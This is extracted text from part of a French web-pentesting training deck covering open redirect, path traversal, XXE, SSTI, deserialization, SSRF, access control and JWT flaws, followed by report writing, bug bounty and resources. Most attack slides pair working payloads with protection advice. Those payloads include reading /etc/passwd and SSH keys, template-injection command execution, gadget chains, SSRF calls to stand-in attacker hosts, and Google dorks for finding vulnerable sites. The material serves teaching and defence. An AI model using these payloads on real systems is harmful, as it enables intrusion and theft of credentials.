http://news.company.com/dir/other.html Échec Hôtes différents


99
CROSS-ORIGIN ATTACKS
SAME-ORIGIN POLICY

Conséquence pour un attaquant, si elle est correctement configurée :


• Si une XSS est identifiée, et par exemple limitée en caractères,
impossible de charger un script externe
• Impossible de charger un CSS ou une image sur un site externe
• Restriction des iframes (permet de limiter les Frame Injection, où un
iframe invisible est rajouté par dessus un site)

Comment la tester ?
Envoyer le header (aussi valable avec *)
Origin: https://example.com

Un serveur vulnérable répond par :


Access-Control-Allow-Origin: https://example.com
OPEN REDIRECT
100

EXPLICATION
Une des fonctionnalités de redirection du site web n’est pas assez restrictive.
But initial de rediriger vers une certaine page de l’application (après une connexion par
exemple), mais possible de détourner et de rediriger vers un site arbitraire

https://example.com/redirect.php?redirecturl=http://attacker.com/
phish/

https://example.com/redirect.html?
url=javascript:alert(document.domain)

?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
PATH TRAVERSAL & FILE INCLUSION 101

Le code source cherche à inclure un fichier dont le nom est modifiable par l’utilisateur:
<?php

$file = $_GET[ 'page’ ];

include $file;

?>

Par exemple, dans /afficherAllergenes?page=desserts.php .


PATH TRAVERSAL & FILE INCLUSION 102

Quoi si je vais chercher un autre fichier ? Ou un dossier ? (directory listing)

/afficherAllergenes?page=afficherAllergenes.php

/afficherAllergenes?page=../config.php

/afficherAllergenes?page=../../../../../../../../etc/passwd

/afficherAllergenes?page=C:\\Windows\\win.ini

/afficherAllergenes?page=../../../../../../../../home/foobar/.ssh/id_rsa

C’est le moment de FUZZ!


PATH TRAVERSAL & FILE INCLUSION 103

Quoi si il y a une protection ?

/afficherAllergenes?page=README.md%00.php (un peu vieux)

GET /files/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1

/afficherAllergenes?page=..././config.php (filtrage ../ non récursif)


FILE INCLUSION : SE PROTÉGER 104

Solutions ?

• Eviter les includes avec du contenu utilisateur


• Utiliser une liste blanche de fichiers
• chroot l’application
• Moins de privilèges = moins de fichiers lus
• Ne pas stocker les secrets dans des fichiers, mais plutôt variables
d’environnement
XXE 105

eXternal XML Entity

Rappel du format XML

<?xml version="1.0" encoding="UTF-8"?>


<contact>
<firstName>Tom</firstName>
<lastName>Jones</lastName>
</contact>
XXE 106

eXternal XML Entity

XML supporte l’insertion d’un contenu externe (autre fichier XML, ou variable)
Ici l’exemple d’une variable “en dur”

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE foo [ <!ENTITY myentity "my variable" > ]>
<contact>
<firstName>&myentity;</firstName>
<lastName>Jones</lastName>
</contact>
XXE 107

eXternal XML Entity


Ici l’exemple d’une variable stockée dans un fichier

Aller chercher un fichier externe :


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY var SYSTEM "http://normal-website.com" > ]>
<contact>
<firstName>&var;</firstName>
<lastName>Jones</lastName>
</contact>

Ou un fichier local :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY var SYSTEM "file:///etc/passwd"" > ]>
<contact>
<firstName>&var;</firstName>
<lastName>Jones</lastName>
</contact>
XXE 108

eXternal XML Entity


Des fois, un serveur accepte plusieurs formats de Content-Type (JSON, HTTP ou XML) :

POST /action HTTP/1.0


Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

devient
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>


109

XXE
eXternal XML Entity : SE PROTEGER

• Désactiver la résolution d’entités externes (aussi appelées


DTD)
• Désactiver Xinclude
• Se renseigner dans la documentation du parser
SSTI
110

INTRODUCTION
L’apparition de “moteur de template” / “template engine” permet de facilier la création de
contenu adaptatif, le Server Side Template Injection (SSTI)
Un peu l’équivalent de PHP echo $var mais avec d’autres langages :

Hello {{ name }},

Thank you for your order! Your items will be shipped out shortly:
{% for product in cart %}
{{product.name}}
Price: ${{product.price}}
Quantity: {{product.quantity}}
Total: ${{product.quantity * product.price}}
{% endfor %}____________________
Total: ${{total}}

{% if cart|length > 1 %}
These items{% else %}
This item{% endif %} will be shipped to:
{{address}}
SSTI
111

MOTEURS
Les moteurs de template existent dans de nombreux langages et contextes

Templating
Language Server/client Side
Engine
Twig PHP Server Side
Freemarker Java (usually) Server Side
Pug/Jade JavaScript Mostly Server Side
Jinja Python Server Side
Handlebars JavaScript Both
Mustache Multiple Varies
SSTI
112

IDENTIFICATION
Chercher d’abord par causer des erreurs:

${} {{}} <%= %>


${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Comme souvent, un payload polyglot:


${{<%[%'"}}@{%\.#{<%=
SSTI
113

IDENTIFICATION

Lecture: si insertion dans une variable (par exemple username) ${7*7} et que 49 est retourné, suivre
la flèche verte.
SSTI
114

EXPLOITATION
Guide général : https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Cas général : beaucoup d’introspection d’objet.

Java (générique)
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd’)}

Java (FreeMarker)
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(‘/foo/
bar.txt').toURL().openStream().readAllBytes()?join(" ")}

Java (Spring Framework)


*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStr
eam())}

PHP (Twig)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

NodeJS (Jade)
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

.NET (Razor)
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
SSTI
115

SE PROTÉGER

Assainir la donnée en entrée (sanitize) :


• un username ne doit contenir que A-Za-z0-9
• Un prix doit être un double/entier
• Utiliser des listes blanches (et non des listes noires)

Restreindre l’environnement
• Restricted shell (rshell)
• chroot l’application
• difficile à mettre en place de façon inviolable
DESERIALISATION :
116

INTRODUCTION

• L’utilisation de langage de programmation orientée objet (POO) complexifie le


format des variables
• Besoin de sauvegarder des Objets pour les ré-importer plus tard (dans une autre
session, sur un autre système, etc.)

• La sérialisation permet de stocker (dans un fichier, dans une base de données, un


cookie, un stockage de navitageur...) un Objet binaire
• La désérialisation permet de charger un Objet stocké, afin de le remettre dans la
mémoire du programme
DESERIALISATION :
117

DETECTION

• En boîte blanche (fonctions et librairies)


• XMLdecoder
• XStream (exploit sur la version < 1.46)
• ObjectInputStream + readObject
• ObjectInputStream.readUnshared
• Serializable

• En boîte noire (magic bytes et patterns)


• Content-Type: application/x-java-serialized-object
• H4sIA ou rO0 en base64
• javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4
cAAAAAJwdAAML2xvZ2luLnhodG1s
DESERIALISATION :
118

EXPLOITATION
java -jar ysoserial.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' >
payload

0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:

./phpggc monolog/rce1 assert 'phpinfo()’

O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\
Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-
1;s:9:"*buffer";a:1:{i:0;a:2:
{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b
:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:
DESERIALISATION :
119

SE PROTEGER

• La sérialisation est-elle vraiment nécessaire ?


• Chiffrer la donnée n’est pas suffisant : insertion possible en ECB
• Imaginer un chiffrement de chaque feuille d’un livre, il est possible d’y
insérer des pages

• Signer la donnée sérialisée, et la valider AVANT la déserialisation


DESERIALISATION :
120

SE PROTEGER

• La sérialisation est-elle vraiment nécessaire ?


• Chiffrer la donnée n’est pas suffisant : insertion possible en ECB
• Imaginer un chiffrement de chaque feuille d’un livre, il est possible d’y
insérer des pages

• Signer la donnée sérialisée, et la valider AVANT la déserialisation


SSRF : INTRODUCTION
121

• Un serveur peut faire une requête vers un serveur externe (par exemple vérifier le
stock d’un article)
• Modifier la donnée utilisateur pour y injecter autre chose

• Permet de faire :
• Lecture de fichier local (code source, fichier de configuration, clé SSH…)
• Ping sweep/scan de réseau interne
• Découverte de services locaux
• Exploitation de vulnérabilités (par exemple envoi de mail)
• Taper sur un service interne (par exemple interface d’administration)
SSRF : EXPLOITATION
122

ssrf.php?url=file:///etc/passwd

ssrf.php?url=dict://attacker:11111/

ssrf.php?url=sftp://evil.com:11111/
SSRF : CONTOURNEMENT FILTRES
123

http://127.0.0.1:22

http://[::]:80/

http://2130706433/

http://localtest.me

http://username:[email protected]#comment.goodsite.com

?url=subdomain&url=domain.com (parameter pollution, sous conditions)

Utiliser un open-redirect sur l’application web


SSRF : SE PROTEGER
124

• Travailler par liste blanche et non liste noire


• Eviter les regex du genre « *domaine.com »
• Forcer le protocole
• Changer le fonctionnement de la requête (par exemple le nom de domaine est-il
nécessaire et peut-il ne pas être soumis par l’utilisateur ?)
125

CONTROLE D’ACCÈS : INTRODUCTION

• Contrôle d’accès (authorization mecanism) =/= authentification


(identification+signature)
• Résulte le plus souvent d’un oubli (si accès non-explicite) si accès à une
fonctionnalité

• Différencier contrôle d’accès vertical (accès à une fonctionnalité


d’administrateur par exemple) d’un contrôle d’accès horizontal (accès à la
facture d’un autre utilisateur)
126

CONTROLE D’ACCÈS : EXPLOITATION

• Faire du fuzzing sur les pages inconnues, et espérer tomber sur une interface
d’administration par exemple
• Utiliser le “multi profil” du navigateur, sur un port listener Burp différent
• Penser à demander au moins un compte par niveau de rôle, dans l’idéal 2 par
niveau

• https://insecure-website.com/myaccount?id=123

• https://insecure-website.com/invoice?pdf=20220816231204.pdf

• Tenter d’ajouter des variables qui ne sont pas présentes par défaut (fuzzing)
127

CONTROLE D’ACCÈS : SE PROTÉGER

• Utiliser au maximum des frameworks (encore…)


• Mettre par défaut un refus, et écrire explicitement le rôle pour chaque
fonctionnalité
• Si possible, avoir un système uniforme et commun à toutes les
applications
• Tous les identifiants doivent être imprédictibles
128

JWT : INTRODUCTION

JWT (JSON Web Token) : jeton souvent utilisé pour l’authentification (mais pas forcément pensé
pour ça)
Avantage : le serveur n’a pas à conserver la valeur, juste la vérifier (idéal pour un système
distribué)

• Entête : contient les métadonnées comme l’heure d’expiration, la méthode de signature


• Corps : contient la donnée utile (nom d’utilisateur, droits, etc.)
• Signature : l’agorithme dépend de la méthode de signature indiquée dans l’entête

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJh...


129

JWT : FONCTIONNEMENT
{
"alg": "HS256",
"typ": "JWT" BASE64
}
{ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWI
"sub": "1234567890", iOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiw
"name": "John Doe", iaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fw
pMeJf36POk6yJV_adQssw5c
"iat": 1516239022
}
MACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
<SECRET_TRES_SECRET>
)
130

JWT : ATTAQUES
{
"alg": “None“,
“typ”: “JWT” BASE64
}
{ eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2Vy
"user": "admin", IjoiYWRtaW4iLCJyaWdodHMiOiJhbGwiLCJpYXQiOjE2
"rights": "all", NzgyMDgwMzN9.
"iat": 1678207937
}

PAS DE SIGNATURE
131

JWT : ATTAQUES
• Bruteforcer la clé de signature
• Utiliser la clé publique comme clé de HMAC
132

JWT : SE PROTÉGER

• Liste blanche des algorithmes de signature


• Clé robuste
133

NETTOYAGE
NETTOYAGE
134

• Penser à prendre des notes tout au long de votre test, ce que vous devrez nettoyer
• Des choses que vous laissez, c’est :
• Des outils, traces et informations pour de potentiels attaquants => augmente la surface d’attaque
• Une atteinte à l’image de votre entreprise si le client, ou pire une autre entreprise de pentest, passe
dessus l’année prochaine

• On fait le tour PARTOUT


• Outils
• Registres
• Webshells
• Base de données
• Comptes
135

PLAN D’UN RAPPORT

PRÉAMBULE SYNTHÈSE SYNTHÈSE DÉTAIL DES DÉTAIL DES


& CONTEXTE MANAGÉRIALE TECHNIQUE VULNÉRABILITÉS RECOMMANDATIONS

Résumé avec des Vulnérabilités


Rappeler les Résumé avec des Associé à chaque
mots non- classées par
informations du termes vulnérabilité, reco
techniques et ordre décroissant
pentest techniques adaptée
haut niveau d’impact

https://pentestreports.com/templates/
136

RAPPORT : PRÉAMBULE
• Page de garde simple et concise : périmètre, année, code interne
• Cadre légal
• Rappel des destinataires (pas forcément les développeurs, c’est pas
eux qui payent)

• Rappel des dates du test, de nombre de JH


• Si il y a eu des problèmes (accès tardif, application non terminée,
choses non fonctionnelles), le mentionner
137

RAPPORT : SYNTH. MANAGERIALE


• A pour but d’être lu en quelques dizaines de secondes par un public non-technique
• Investisseurs
• PDG
• Conseil d’administration

• Ne pas dire “on peut faire une xss dans le champ de recherche et afficher alert(‘xss’)”

• Ne pas dire “on a poncé le site avec une rce sur mssql”

• Dire : “Un attaquant sans compte d’accès est en mesure d’impacter l’intégrité de la
page principale, ainsi que d’usurper l’identité des utilisateurs connectés à l’application”

• Si nécessaire, faire un organigramme détaillant les étapes “contournement de


l’authentification”, “insertion de code en base de données”, “récupération des jetons
de session”, “exploitation d’un compte de service à haut privilèges”
138

RAPPORT : SYNTH. TECHNIQUE


• Tableau synthétique des vulnérabilités

Vulnérabilité Impact Probabilité Temps de


technique d’occurence correction
Injection SQL +++ +++ ++
Service lancé avec privilèges ++ + +
Absence de chiffrement sur flux ++ + ++
sensible
Manque d’attributs de sécurité sur les + ++ +
cookies
139

RAPPORT : VULNÉRABILITÉS
• Possibilité de les classer par:
• Ordre décroissant d’impact (CVSS ou notation interne)
• Catégorie

• Rappel générique de la vulnérabilité


• Explication dans le contexte du client (où, exposition, quel payload, impact)
• Anonymiser les données sensibles (clés d’API, comptes compromis, données des
clients du client…)

• Recommandation générale + adaptée si connaissance du contexte (par


exemple de la technologie utilisée)

• Des preuves, des preuves et… des preuves !


• La vulnérabilité doit être reproductible par les personnes techniques
• Servira à vous justifier en cas de litige
140

RAPPORT : RELECTURE
• Probablement l’une des phases les plus importantes

• S’assurer qu’il ne reste plus de “safe word” FIXME

• Au minimum 1 relecteur, dans l’idéal 2 relecteurs


• Utiliser la fonction “tracking” de Word, et les commentaires

• Le relecteur appose son nom une fois que tous les commentaires ont été pris
en compte et que la qualité est adéquate
• C’est votre image, celle de votre entreprise et celle du relecteur qui sont
associées au rapport
• Un concurrent pourrait récupérer votre rapport
• Votre rapport peut être diffusé à des personnes externes
141

BUG BOUNTY

• “concurrent” du pentest encadré


• Payé à la vulnérabilité

• Evitez de reporter un simple “il y a pas iframe protection”, mais creez


un vrai scénario d’exploitation

• Conseil (d’un non-pratiquant) : spécialiez-vous dans une


vulnerabilité, et cherchez-la sur tous les programmes, par exemple
contournement de WAF ou Host-Header injection
WHONIX 142

• Fait pour fonctionner dans des machines virtuelles ou au moins 2


PCs
• Une Gateway qui ne laisse passer que le flux sur TOR
• Une ou plusieurs Workstations qui utilisent la Gateway comme
routeur
QUBES 143

• Compartimentation de chaque application


TAILS 144

• Fonctionne uniquement via USB


GOOGLE DORKS 145

• Permet de chercher une attaque sur 10’000 sites

• inurl:"keyword" education/content.php?page=
• intitle:"keyword" Interior/productlist.php?id=
• ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | products.php?categoryID=
xml) (intext:confidential salary | intext:"budget approved") ?pid=
inurl:confidential bookpage.php?id=
view_items.php?id=
index.php?pagina=
product.php?prodid=
notify/notify_form.php?
topic_id=
php/index.php?id=
content.php?cid=
product.php?product_id=
constructies/product.php?id=
detail.php?id=
php/index.php?id=
index.php?section=
product.php?****=
show_bug.cgi?id=
detail.php?id=

SHODAN 146

• Le Google des vulnérabilités


SHODAN 147

• Le Google des vulnérabilités


148

RESSOURCES UTILES

• Damn Vulnerable Web Application


• Hackazon
• bWapp
• Hack The Box
• Vulnhub
• Root-Me
• GOAD par Orange CyberDéfense
• Formations certifiantes : Offensive Security,
eLearnSecurity
149

RESSOURCES UTILES

• https://cheatsheetseries.owasp.org/index.html – Cheat Sheet de l’OWASP


• https://book.hacktricks.xyz/welcome/readme – grosses ressources sur de
nombreux topics
• https://gchq.github.io/CyberChef/ - CyberChef, outil multi fonction
Presentation title 150
151

https://pauljerimy.com/security-certification-roadmap/
QUESTIONS ?
[email protected]

Vous aimerez peut-être aussi